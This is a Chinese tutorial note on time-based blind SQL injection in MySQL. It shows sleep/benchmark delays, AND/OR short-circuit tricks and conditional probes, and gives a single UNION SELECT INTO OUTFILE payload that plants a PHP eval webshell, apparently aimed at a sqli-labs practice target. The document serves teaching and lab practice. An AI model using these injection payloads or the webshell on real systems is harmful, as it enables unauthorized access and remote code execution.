Abstract: SQL 盲注之时间盲注

Table of Contents

  1. SQL 盲注
    1. sleep(second) 函数
    2. benchmark(number, function)函数
    3. and 0 的短路特性
    4. or 1 的短路特性
    5. 条件语句
    6. 用 SQL 注入写webshell
    7. 防止 SQL 注入常用函数
    8. 寻找 SQL 注入点思路

SQL 盲注

sleep(second) 函数

1
2
# 系统睡眠3秒,查询结果为0
select sleep(3);

时间可以精确控制。

benchmark(number, function)函数

1
2
# 重复执行某个函数N次
select benchmark(10000000, md5(1);

时间不可控,电脑性能越高,时间越短。

select * from table where id = 1 and if(布尔表达式, 0, 1);
原始语句 测试语句+注入语句

参考文章

MySQL时间盲注五种延时方法 (PWNHUB 非预期解)

and 0 的短路特性

1
2
3
4
select * from users where id=1 and 1 and sleep(1);
# 1.00sec
select * from users where id=1 and 0 and sleep(1);
# 0.00 sec
1
2
3
4
select 1 and sleep(3);
# 3.00 sec
select 0 and sleep(3);
# 0.00 sec

or 1 的短路特性

1
2
3
4
select * from users where id=1 or 1 or sleep(1);
# 0.00 sec
select * from users where id=1 or 0 or sleep(1);
# 1.00 sec
1
2
3
4
select 1 or sleep(3);
# 0.00 sec
select 0 or sleep(3);
# 3.00 sec

条件语句

  • if(布尔语句, 0, 1)

条件成立取 0 ,条件不成立取 1 。

1
2
3
4
# 睡眠3秒
select if(length(version())>1, sleep(3), 0);
# 直接返回0
select if(length(version())>15, sleep(3), 0);
  • case [1] when [2] then [3] else [4] end

当 [1] 的值与 [2] 的值相等时,取 [3],否则取 [4]

1
2
select case 1=1 when 1 then 123 else 456 end;
# 123

or 的影响

1
2
select * from users where id='1' or sleep(3); #';
# 1 row in set (36.01 sec)

注意sleep是存在一个满足条件的行就会延迟指定的时间,比如 sleep(5),但实际上查找到两个满足条件的行,那么就会延迟 10s ,在真实的渗透测试过程中,我们有时候不清楚整个表的情况,可以用 sleep(0.001)看最后多少秒有结果,推断表的行数。

参考文章

一篇文章带你深入理解 SQL 盲注

用 SQL 注入写webshell

1
http://192.168.100.197/Less-1/?id=1' union select 1,2, '<?php @eval($_POST['pass'])?>' into outfile '/var/www/html/case.txt' --+

注意权限问题,此时创建文件的用户是 mysql

防止 SQL 注入常用函数

addslashes()mysql_real_escape_string()

详细内容请访问:

PHP内置过滤函数

寻找 SQL 注入点思路